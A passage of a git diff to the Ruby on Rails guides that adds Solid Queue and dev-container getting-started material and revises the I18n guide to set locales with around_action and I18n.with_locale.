+Now you can log in to production with this email and password and manage
+products.
 
-![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
+### Background Jobs using Solid Queue
 
-Other authentication methods are available for Rails applications. Two popular
-authentication add-ons for Rails are the
-[Devise](https://github.com/plataformatec/devise) rails engine and
-the [Authlogic](https://github.com/binarylogic/authlogic) gem,
-along with a number of others.
+Background jobs allow you to run tasks asynchronously behind-the-scenes in a
+separate process, preventing them from interrupting the user experience. Imagine
+sending in stock emails to 10,000 recipients. It could take a while, so we can
+offload that task to a background job to keep the Rails app responsive.
 
+In development, Rails uses the `:async` queue adapter to process background jobs
+with ActiveJob. Async stores pending jobs in memory but it will lose pending
+jobs on restart. This is great for development, but not production.
 
-### Other Security Considerations
+To make background jobs more robust, Rails uses `solid_queue` for production
+environments. Solid Queue stores jobs in the database and executes them in a
+separate process.
 
-Security, especially in web applications, is a broad and detailed area. Security
-in your Rails application is covered in more depth in
-the [Ruby on Rails Security Guide](security.html).
+Solid Queue is enabled for our production Kamal deployment using the
+`SOLID_QUEUE_IN_PUMA: true` environment variable to `config/deploy.yml`. This
+tells our web server, Puma, to start and stop the Solid Queue process
+automatically.
 
+When emails are sent with Action Mailer's `deliver_later`, these emails will be
+sent to Active Job for sending in the background so they don't delay the HTTP
+request. With Solid Queue in production, emails will be sent in the background,
+automatically retried if they fail to send, and jobs are kept safe in the
+database during restarts.
+
+<picture class="flowdiagram">
+  <source srcset="images/getting_started/background_jobs_dark.jpg" media="(prefers-color-scheme:dark)">
+  <img src="images/getting_started/background_jobs_light.jpg">
+</picture>
 
 What's Next?
 ------------
 
-Now that you've seen your first Rails application, you should feel free to
-update it and experiment on your own.
+Congratulations on building and deploying your first Rails application!
 
-Remember you don't have to do everything without help. As you need assistance
-getting up and running with Rails, feel free to consult these support
-resources:
+Next, follow the [Sign Up and Settings tutorial](sign_up_and_settings.html) to continue learning.
 
-* The [Ruby on Rails Guides](index.html)
-* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
-* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
-* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
+We also recommend learning more by reading other Ruby on Rails Guides:
 
+* [Active Record Basics](active_record_basics.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Testing Rails Applications](testing.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [Securing Rails Applications](security.html)
 
-Configuration Gotchas
----------------------
 
-The easiest way to work with Rails is to store all external data as UTF-8. If
-you don't, Ruby libraries and Rails will often be able to convert your native
-data into UTF-8, but this doesn't always work reliably, so you're better off
-ensuring that all external data is UTF-8.
-
-If you have made a mistake in this area, the most common symptom is a black
-diamond with a question mark inside appearing in the browser. Another common
-symptom is characters like "ü" appearing instead of "ü". Rails takes a number
-of internal steps to mitigate common causes of these problems that can be
-automatically detected and corrected. However, if you have external data that is
-not stored as UTF-8, it can occasionally result in these kinds of issues that
-cannot be automatically detected by Rails and corrected.
-
-Two very common sources of data that are not UTF-8:
-
-* Your text editor: Most text editors (such as TextMate), default to saving
-  files as UTF-8. If your text editor does not, this can result in special
-  characters that you enter in your templates (such as é) to appear as a diamond
-  with a question mark inside in the browser. This also applies to your i18n
-  translation files. Most editors that do not already default to UTF-8 (such as
-  some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
-  so.
-* Your database: Rails defaults to converting data from your database into UTF-8
-  at the boundary. However, if your database is not using UTF-8 internally, it
-  may not be able to store all characters that your users enter. For instance,
-  if your database is using Latin-1 internally, and your user enters a Russian,
-  Hebrew, or Japanese character, the data will be lost forever once it enters
-  the database. If possible, use UTF-8 as the internal storage of your database.
+Happy building!
diff --git a/guides/source/getting_started_with_devcontainer.md b/guides/source/getting_started_with_devcontainer.md
new file mode 100644
index 0000000000000..cc6fb5737d7bc
--- /dev/null
+++ b/guides/source/getting_started_with_devcontainer.md
@@ -0,0 +1,123 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Getting Started with Dev Containers
+===================================
+
+After reading this guide, you will know:
+
+* How to create a new Rails application with the `rails-new` tool.
+* How to begin working with your application in a development container.
+
+--------------------------------------------------------------------------------
+
+The best way to read this guide is to follow it step by step. All steps are
+essential to run this example application and no additional code or steps are
+needed.
+
+This guide helps you get set up with [development containers (or dev containers for short)](https://containers.dev/)
+for a full-featured development environment. Dev containers are used to run your
+Rails application in a container, without needing to install Ruby or Rails or its dependencies
+directly on your machine. This is the fastest way to get your Rails application up and running.
+
+This is an alternative to installing Ruby and Rails directly on your machine, which is
+covered in the [Getting Started guides](getting_started.html#creating-a-new-rails-project).
+Once you have completed this guide, you can continue building your application by following
+the Getting Started guide.
+
+Setup and Installation
+----------------------
+
+To get set up, you will need to install the relevant tools; Docker, VS Code and
+`rails-new`. We'll go into details about each one below.
+
+### Installing Docker
+
+Dev containers are run using Docker, an open platform for developing, shipping, and
+running applications. You can install Docker by following the installation instructions
+for your operating system in the [Docker docs](https://docs.docker.com/desktop/).
+
+Once Docker has been installed, launch the Docker application to begin running
+the Docker engine on your machine.
+
+### Installing VS Code
+
+Visual Studio Code (VS Code) is an open source code editor developed by Microsoft. VS Code's Dev Containers
+extension allows you to open any folder inside (or mounted into) a container and take advantage of
+Visual Studio Code's full feature set. A [devcontainer.json](https://code.visualstudio.com/docs/devcontainers/containers#_create-a-devcontainerjson-file)
+file in your project tells VS Code how to access (or create) a development container with a
+well-defined tool and runtime stack. It allows you to quickly spin up containers, access terminal
+commands, debug code, and utilize extensions.
+
+You can install VS Code by downloading it from [the website](https://code.visualstudio.com/).
+
+You can install the Dev Containers extension by downloading it from [the marketplace](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers).
+
+### Installing rails-new
+
+`rails-new` generates a new Rails application for you without having to install Ruby on
+your machine. It uses Docker to generate the Rails application, thus allowing Docker to
+take care of installing the correct Ruby and Rails versions for you.
+
+To install `rails-new`, follow the installation instructions [in the README](https://github.com/rails/rails-new?tab=readme-ov-file#installation).
+
+Creating the Store Application
+------------------------------
+
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself. The `rails-new` tool uses this generator to
+create a new Rails application for you.
+
+NOTE: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently.
+
+To use `rails-new` to generate your app, open a terminal, navigate to a directory where you have
+rights to create files, and run:
+
+```bash
+$ rails-new store --devcontainer
+```
+
+This will create a Rails application called Store in a `store` directory.
+
+TIP: You can see all of the command line options that the Rails application
+generator accepts by running `rails-new --help`.
+
+After you create the store application, switch to its folder:
+
+```bash
+$ cd store
+```
+
+The `store` directory will have a number of generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder. For a full rundown of everything in your application
+see the full [Getting Started guide](getting_started.html).
+
+Opening the Store Application in a Dev Container
+------------------------------------------------
+
+Our new Rails application comes with a dev container already configured and ready to use.
+We will use VS Code to spin up and work with our dev container. Start by launching VS Code
+and opening your application.
+
+Once the application opens, VS Code should prompt you that it has found a dev container
+configuration file, and you can reopen the folder in a dev container. Click the green "Reopen
+in Container" button to create the dev container.
+
+Once the dev container setup is complete, your development environment is ready to use,
+with Ruby, Rails, and all your dependencies installed.
+
+You can open the terminal within VS Code to verify that Rails is installed:
+
+```bash
+$ rails --version
+Rails 8.2.0
+```
+
+You can now continue with the [Getting Started guide](getting_started.html) and
+begin building your Store application. You will be working within VS Code, which serves as
+your entry point to your application's dev container, where you can run code, run tests, and
+run your application.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index ed8cf8a34498a..d5f16aa4b3be2 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Rails Internationalization (I18n) API
 =====================================
@@ -9,9 +9,9 @@ The process of "internationalization" usually means to abstract all strings and
 
 So, in the process of _internationalizing_ your Rails application you have to:
 
-* Ensure you have support for i18n.
+* Ensure you have support for I18n.
 * Tell Rails where to find locale dictionaries.
-* Tell Rails how to set, preserve and switch locales.
+* Tell Rails how to set, preserve, and switch locales.
 
 In the process of _localizing_ your application you'll probably want to do the following three things:
 
@@ -24,13 +24,13 @@ This guide will walk you through the I18n API and contains a tutorial on how to
 After reading this guide, you will know:
 
 * How I18n works in Ruby on Rails
-* How to correctly use I18n into a RESTful application in various ways
+* How to correctly use I18n in a RESTful application in various ways
 * How to use I18n to translate Active Record errors or Action Mailer E-mail subjects
 * Some other tools to go further with the translation process of your application
 
 --------------------------------------------------------------------------------
 
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information.
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information.
 
 How I18n in Ruby on Rails Works
 -------------------------------
@@ -42,11 +42,13 @@ Internationalization is a complex problem. Natural languages differ in so many w
 
 As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages.
 
+To localize, store, and update _content_ in your application (e.g. translate blog posts), see the [Translating model content](#translating-model-content) section.
+
 ### The Overall Architecture of the Library
 
 Thus, the Ruby I18n gem is split into two parts:
 
-* The public API of the i18n framework - a Ruby module with public methods that define how the library works
+* The public API of the I18n framework - a Ruby module with public methods that define how the library works
 * A default backend (which is intentionally named _Simple_ backend) that implements these methods
 
 As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
@@ -65,7 +67,7 @@ localize  # Localize Date and Time objects to local formats
 These have the aliases #t and #l so you can use them like this:
 
 ```ruby
-I18n.t 'store.title'
+I18n.t "store.title"
 I18n.l Time.now
 ```
 
@@ -75,8 +77,8 @@ There are also attribute readers and writers for the following attributes:
 load_path                 # Announce your custom translation files
 locale                    # Get and set the current locale
 default_locale            # Get and set the default locale
-available_locales         # Whitelist locales available for the application
-enforce_available_locales # Enforce locale whitelisting (true or false)
+available_locales         # Permitted locales available for the application
+enforce_available_locales # Enforce locale permission (true or false)
 exception_handler         # Use a different exception_handler
 backend                   # Use a different backend
 ```
@@ -101,11 +103,11 @@ en:
   hello: "Hello world"
 ```
 
-This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/main/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
 
 The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations.
 
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](https://groups.google.com/g/rails-i18n/c/FN7eLH2-lHA)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:"en-US"` or `:"en-GB"`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th`, or `:es` (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:"en-US"` locale you would have $ as a currency symbol, while in `:"en-GB"`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:"en-GB"` dictionary.
 
 The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.
 
@@ -114,8 +116,8 @@ NOTE: The backend lazy-loads these translations when a translation is looked up
 You can change the default locale as well as configure the translations load paths in `config/application.rb` as follows:
 
 ```ruby
-  config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-  config.i18n.default_locale = :de
+config.i18n.load_path += Dir[Rails.root.join("my", "locales", "*.{rb,yml}")]
+config.i18n.default_locale = :de
 ```
 
 The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of `config/application.rb`:
@@ -124,28 +126,33 @@ The load path must be specified before any translations are looked up. To change
 # config/initializers/locale.rb
 
 # Where the I18n library should search for translation files
-I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+I18n.load_path += Dir[Rails.root.join("lib", "locale", "*.{rb,yml}")]
 
-# Whitelist locales available for the application
+# Permitted locales available for the application
 I18n.available_locales = [:en, :pt]
 
 # Set default locale to something other than :en
 I18n.default_locale = :pt
 ```
 
-### Managing the Locale across Requests
+Note that appending directly to `I18n.load_path` instead of to the application's configured I18n will _not_ override translations from external gems.
 
-The default locale is used for all translations unless `I18n.locale` is explicitly set.
+### Managing the Locale across Requests
 
 A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request.
 
-The locale can be set in a `before_action` in the `ApplicationController`:
+The default locale is used for all translations unless `I18n.locale=` or `I18n.with_locale` is used.
+
+`I18n.locale` can leak into subsequent requests served by the same thread/process if it is not consistently set in every controller. For example executing `I18n.locale = :es` in one POST requests will have effects for all later requests to controllers that don't set the locale, but only in that particular thread/process. For that reason, instead of `I18n.locale =` you can use `I18n.with_locale` which does not have this leak issue.
+
+The locale can be set in an `around_action` in the `ApplicationController`:
 
 ```ruby
-before_action :set_locale
+around_action :switch_locale
 
-def set_locale
-  I18n.locale = params[:locale] || I18n.default_locale
+def switch_locale(&action)
+  locale = params[:locale] || I18n.default_locale
+  I18n.with_locale(locale, &action)
 end
 ```
 
@@ -165,10 +172,11 @@ One option you have is to set the locale from the domain name where your applica
 You can implement it like this in your `ApplicationController`:
 
 ```ruby
-before_action :set_locale
+around_action :switch_locale
 
-def set_locale
-  I18n.locale = extract_locale_from_tld || I18n.default_locale
+def switch_locale(&action)
+  locale = extract_locale_from_tld || I18n.default_locale
+  I18n.with_locale(locale, &action)
 end
 
 # Get locale from top-level domain or return +nil+ if such locale is not available
@@ -178,7 +186,7 @@ end
 #   127.0.0.1 application.pl
 # in your /etc/hosts file to try this out locally
 def extract_locale_from_tld
-  parsed_locale = request.host.split('.').last
+  parsed_locale = request.host.split(".").last
   I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
 end
 ```
@@ -188,8 +196,11 @@ We can also set the locale from the _subdomain_ in a very similar way:
 ```ruby
 # Get locale code from request subdomain (like http://it.application.local:3000)
 # You have to put something like:
-#   127.0.0.1 gr.application.local
+#   127.0.0.1 it.application.local
 # in your /etc/hosts file to try this out locally
+#
+# Additionally, you need to add the following configuration to your config/environments/development.rb:
+#   config.hosts << 'it.application.local:3000'
 def extract_locale_from_subdomain
   parsed_locale = request.subdomains.first
   I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
@@ -208,13 +219,13 @@ This solution has aforementioned advantages, however, you may not be able or may
 
 #### Setting the Locale from URL Params
 
-The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.with_locale(params[:locale], &action)` _around_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
 
 This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
 
 Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course.
 
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`).
 
 We can include something like this in our `ApplicationController` then:
 
@@ -229,7 +240,7 @@ Every helper method dependent on `url_for` (e.g. helpers for named routes like `
 
 You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
 
-You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html):
+You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html):
 
 ```ruby
 # config/routes.rb
@@ -253,26 +264,29 @@ end
 
 With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
 
-Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "dashboard#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
 
 You would probably need to map URLs like these:
 
 ```ruby
 # config/routes.rb
-get '/:locale' => 'dashboard#index'
+get "/:locale" => "dashboard#index"
 ```
 
 Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
 
-NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator).
+NOTE: Have a look at a gem which simplifies working with routes: [route_translator](https://github.com/enriclluelles/route_translator).
 
 #### Setting the Locale from User Preferences
 
 An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user.
 
 ```ruby
-def set_locale
-  I18n.locale = current_user.try(:locale) || I18n.default_locale
+around_action :switch_locale
+
+def switch_locale(&action)
+  locale = current_user.try(:locale) || I18n.default_locale
+  I18n.with_locale(locale, &action)
 end
 ```
 
@@ -282,38 +296,39 @@ When an explicit locale has not been set for a request (e.g. via one of the abov
 
 ##### Inferring Locale from the Language Header
 
-The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](http://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale.
+The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](https://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale.
 
 A trivial implementation of using an `Accept-Language` header would be:
 
 ```ruby
-def set_locale
+def switch_locale(&action)
   logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
-  I18n.locale = extract_locale_from_accept_language_header
-  logger.debug "* Locale set to '#{I18n.locale}'"
+  locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{locale}'"
+  I18n.with_locale(locale, &action)
 end
 
 private
   def extract_locale_from_accept_language_header
-    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+    request.env["HTTP_ACCEPT_LANGUAGE"].scan(/^[a-z]{2}/).first
   end
 ```
 
 
-In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem.
+In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/main/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem.
 
 ##### Inferring the Locale from IP Geolocation
 
-The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach.
+The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoLite2 Country](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach.
 
 In general, this approach is far less reliable than using the language header and is not recommended for most web applications.
 
 #### Storing the Locale from the Session or Cookies
 
-WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](https://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](https://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
 
 Internationalization and Localization
------------------------------------
+-------------------------------------
 
 OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.
 
@@ -331,10 +346,11 @@ end
 ```ruby
 # app/controllers/application_controller.rb
 class ApplicationController < ActionController::Base
-  before_action :set_locale
+  around_action :switch_locale
 
-  def set_locale
-    I18n.locale = params[:locale] || I18n.default_locale
+  def switch_locale(&action)
+    locale = params[:locale] || I18n.default_locale
+    I18n.with_locale(locale, &action)
   end
 end
 ```
@@ -349,7 +365,7 @@ end
 ```
 
 ```html+erb
-# app/views/home/index.html.erb
+<!-- app/views/home/index.html.erb -->
 <h1>Hello World</h1>
 <p><%= flash[:notice] %></p>
 ```
@@ -358,7 +374,7 @@ end
 
 ### Abstracting Localized Code
 
-There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string:
+In our code, there are two strings written in English that will be rendered in our response ("Hello Flash" and "Hello World"). To internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string:
 
 ```ruby
 # app/controllers/home_controller.rb
@@ -370,8 +386,8 @@ end
 ```
 
 ```html+erb
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
+<!-- app/views/home/index.html.erb -->
+<h1><%= t :hello_world %></h1>
 <p><%= flash[:notice] %></p>
 ```
 
@@ -390,7 +406,9 @@ Add the missing translations into the translation dictionary files:
 en:
   hello_world: Hello world!
   hello_flash: Hello flash!
+```
 
+```yaml
 # config/locales/pirate.yml
 pirate:
   hello_world: Ahoy World
@@ -416,7 +434,7 @@ If your translations are stored in YAML files, certain keys must be escaped. The
 
 Examples:
 
-```erb
+```yaml
 # config/locales/en.yml
 en:
   success:
@@ -430,12 +448,12 @@ en:
 ```
 
 ```ruby
-I18n.t 'success.true' # => 'True!'
-I18n.t 'success.on' # => 'On!'
-I18n.t 'success.false' # => 'False!'
-I18n.t 'failure.false' # => Translation Missing
-I18n.t 'failure.off' # => Translation Missing
-I18n.t 'failure.true' # => Translation Missing
+I18n.t "success.true"  # => 'True!'
+I18n.t "success.on"    # => 'On!'
+I18n.t "success.false" # => 'False!'
+I18n.t "failure.false" # => Translation Missing
+I18n.t "failure.off"   # => Translation Missing
+I18n.t "failure.true"  # => Translation Missing
 ```
 
 ### Passing Variables to Translations
@@ -450,7 +468,7 @@ made about the ordering of the different parts of the translation. Note that Rai
 provides a `number_to_currency` helper to handle the following case.
 
 ```erb
-# app/views/products/show.html.erb
+<!-- app/views/products/show.html.erb -->
 <%= "#{t('currency')}#{@product.price}" %>
 ```
 
@@ -458,7 +476,9 @@ provides a `number_to_currency` helper to handle the following case.
 # config/locales/en.yml
 en:
   currency: "$"
+```
 
+```yaml
 # config/locales/es.yml
 es:
   currency: "€"
@@ -474,7 +494,7 @@ pass the values for these variables to the translation method.
 Proper abstraction is shown in the following example:
 
 ```erb
-# app/views/products/show.html.erb
+<!-- app/views/products/show.html.erb -->
 <%= t('product_price', price: @product.price) %>
 ```
 
@@ -482,7 +502,9 @@ Proper abstraction is shown in the following example:
 # config/locales/en.yml
 en:
   product_price: "$%{price}"
+```
 
+```yaml
 # config/locales/es.yml
 es:
   product_price: "%{price} €"
@@ -501,8 +523,8 @@ to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
 OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used.
 
 ```erb
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
+<!-- app/views/home/index.html.erb -->
+<h1><%= t :hello_world %></h1>
 <p><%= flash[:notice] %></p>
 <p><%= l Time.now, format: :short %></p>
 ```
@@ -523,7 +545,7 @@ So that would give you:
 
 TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
 
-### Inflection Rules For Other Locales
+### Inflection Rules for Other Locales
 
 Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
 
@@ -544,37 +566,29 @@ For example, your `config/locales` directory could look like this:
 
 ```
 |-defaults
-|---es.rb
-|---en.rb
+|---es.yml
+|---en.yml
 |-models
 |---book
-|-----es.rb
-|-----en.rb
+|-----es.yml
+|-----en.yml
 |-views
 |---defaults
-|-----es.rb
-|-----en.rb
+|-----es.yml
+|-----en.yml
 |---books
-|-----es.rb
-|-----en.rb
+|-----es.yml
+|-----en.yml
 |---users
-|-----es.rb
-|-----en.rb
+|-----es.yml
+|-----en.yml
 |---navigation
-|-----es.rb
-|-----en.rb
+|-----es.yml
+|-----en.yml
 ```
 
 This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
 
-NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-
-```ruby
-  # config/application.rb
-  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
-
-```
-
 Overview of the I18n API Features
 ---------------------------------
 
@@ -582,7 +596,7 @@ You should have a good understanding of using the i18n library now and know how
 to internationalize a basic Rails application. In the following chapters, we'll
 cover its features in more depth.
 
-These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
